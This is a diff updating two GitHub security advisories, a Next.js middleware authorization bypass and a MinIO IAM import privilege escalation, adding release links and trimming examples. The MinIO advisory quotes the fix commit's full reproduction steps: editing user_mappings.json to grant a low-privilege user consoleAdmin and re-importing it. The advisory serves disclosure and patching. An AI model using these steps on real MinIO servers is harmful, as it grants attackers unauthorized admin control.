diff --git a/advisories/github-reviewed/2024/12/GHSA-7gfc-8cq8-jh5f/GHSA-7gfc-8cq8-jh5f.json b/advisories/github-reviewed/2024/12/GHSA-7gfc-8cq8-jh5f/GHSA-7gfc-8cq8-jh5f.json index cf41f21f94f..861a113e56e 100644 --- a/advisories/github-reviewed/2024/12/GHSA-7gfc-8cq8-jh5f/GHSA-7gfc-8cq8-jh5f.json +++ b/advisories/github-reviewed/2024/12/GHSA-7gfc-8cq8-jh5f/GHSA-7gfc-8cq8-jh5f.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-7gfc-8cq8-jh5f", - "modified": "2024-12-17T21:35:54Z", + "modified": "2024-12-19T15:04:21Z", "published": "2024-12-17T15:09:06Z", "aliases": [ "CVE-2024-51479" ], "summary": "Next.js authorization bypass vulnerability", - "details": "### Impact\nIf a Next.js application is performing authorization in middleware based on pathname, it was possible for this authorization to be bypassed for pages directly under the application's root directory. For example:\n\n* [Not affected] `https://example.com/`\n* [Affected] `https://example.com/foo`\n* [Not affected] `https://example.com/foo/bar`\n\n### Patches\nThis issue was patched in Next.js `14.2.15` and later.\n\nIf your Next.js application is hosted on Vercel, this vulnerability has been automatically mitigated, regardless of Next.js version.\n\n### Workarounds\nThere are no official workarounds for this vulnerability.\n\n#### Credits\nWe'd like to thank [tyage](http://github.com/tyage) (GMO CyberSecurity by IERAE) for responsible disclosure of this issue.", + "details": "### Impact\nIf a Next.js application is performing authorization in middleware based on pathname, it was possible for this authorization to be bypassed.\n\n### Patches\nThis issue was patched in Next.js `14.2.15` and later.\n\nIf your Next.js application is hosted on Vercel, this vulnerability has been automatically mitigated, regardless of Next.js version.\n\n### Workarounds\nThere are no official workarounds for this vulnerability.\n\n#### Credits\nWe'd like to thank [tyage](http://github.com/tyage) (GMO CyberSecurity by IERAE) for responsible disclosure of this issue.", "severity": [ { "type": "CVSS_V3", diff --git a/advisories/github-reviewed/2024/12/GHSA-cwq8-g58r-32hg/GHSA-cwq8-g58r-32hg.json b/advisories/github-reviewed/2024/12/GHSA-cwq8-g58r-32hg/GHSA-cwq8-g58r-32hg.json index c8d1ca1fd25..c3ea6fedc59 100644 --- a/advisories/github-reviewed/2024/12/GHSA-cwq8-g58r-32hg/GHSA-cwq8-g58r-32hg.json +++ b/advisories/github-reviewed/2024/12/GHSA-cwq8-g58r-32hg/GHSA-cwq8-g58r-32hg.json @@ -1,13 +1,13 @@ { "schema_version": "1.4.0", "id": "GHSA-cwq8-g58r-32hg", - "modified": "2024-12-17T16:04:31Z", + "modified": "2024-12-19T15:04:04Z", "published": "2024-12-16T17:27:53Z", "aliases": [ "CVE-2024-55949" ], "summary": "MinIO vulnerable to privilege escalation in IAM import API", - "details": "### Impact\nPrivilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f\n\n### Patches\n```\ncommit f246c9053f9603e610d98439799bdd2a6b293427\nAuthor: Aditya Manthramurthy \nDate: Wed Dec 11 18:09:40 2024 -0800\n\n fix: Privilege escalation in IAM import API (#20756)\n \n This API had missing permissions checking, allowing a user to change\n their policy mapping by:\n \n 1. Craft iam-info.zip file: Update own user permission in\n user_mappings.json\n 2. Upload it via `mc admin cluster iam import nobody iam-info.zip`\n \n Here `nobody` can be a user with pretty much any kind of permission (but\n not anonymous) and this ends up working.\n \n Some more detailed steps - start from a fresh setup:\n \n ```\n ./minio server /tmp/d{1...4} &\n mc alias set myminio http://localhost:9000 minioadmin minioadmin\n mc admin user add myminio nobody nobody123\n mc admin policy attach myminio readwrite nobody nobody123\n mc alias set nobody http://localhost:9000 nobody nobody123\n \n mc admin cluster iam export myminio\n mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x\n cd /tmp/x\n unzip myminio-iam-info.zip\n echo '{\"nobody\":{\"version\":1,\"policy\":\"consoleAdmin\",\"updatedAt\":\"2024-08-13T19:47:10.1Z\"}}' > \\\n iam-assets/user_mappings.json\n zip -r myminio-iam-info-updated.zip iam-assets/\n \n mc admin cluster iam import nobody ./myminio-iam-info-updated.zip\n mc admin service restart nobody\n ```\n```\n\n### Workarounds\nThere are no workarounds possible, all users are advised to upgrade immediately.\n\n### References\nRefer https://github.com/minio/minio/pull/20756 for more information \n\n### Credits\nCredit goes to [National Security Agency](https://www.nsa.gov/) for reporting this issue.\n", + "details": "### Impact\nPrivilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f\n\n### Patches\n```\ncommit f246c9053f9603e610d98439799bdd2a6b293427\nAuthor: Aditya Manthramurthy \nDate: Wed Dec 11 18:09:40 2024 -0800\n\n fix: Privilege escalation in IAM import API (#20756)\n \n This API had missing permissions checking, allowing a user to change\n their policy mapping by:\n \n 1. Craft iam-info.zip file: Update own user permission in\n user_mappings.json\n 2. Upload it via `mc admin cluster iam import nobody iam-info.zip`\n \n Here `nobody` can be a user with pretty much any kind of permission (but\n not anonymous) and this ends up working.\n \n Some more detailed steps - start from a fresh setup:\n \n ```\n ./minio server /tmp/d{1...4} &\n mc alias set myminio http://localhost:9000 minioadmin minioadmin\n mc admin user add myminio nobody nobody123\n mc admin policy attach myminio readwrite nobody nobody123\n mc alias set nobody http://localhost:9000 nobody nobody123\n \n mc admin cluster iam export myminio\n mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x\n cd /tmp/x\n unzip myminio-iam-info.zip\n echo '{\"nobody\":{\"version\":1,\"policy\":\"consoleAdmin\",\"updatedAt\":\"2024-08-13T19:47:10.1Z\"}}' > \\\n iam-assets/user_mappings.json\n zip -r myminio-iam-info-updated.zip iam-assets/\n \n mc admin cluster iam import nobody ./myminio-iam-info-updated.zip\n mc admin service restart nobody\n ```\n```\n\n### Workarounds\nThere are no workarounds possible, all users are advised to upgrade immediately.\n\n### References\nRefer https://github.com/minio/minio/pull/20756 for more information \n\n### Binary Releases\n#### AiStor Containers\n```\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z\nquay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips\n```\n\n#### AiStor Binaries\n##### Architecture: `linux/amd64`\n- https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z\n\n### Community Containers\n```\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z\nquay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips\n```\n\n### Community Binaries\n##### Architecture: `linux/amd64`\n- https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `linux/arm64`\n- https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n##### Architecture: `windows/amd64`\n- https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z\n\n### Credits\nCredit goes to [National Security Agency](https://www.nsa.gov/) for reporting this issue.\n", "severity": [ { "type": "CVSS_V4",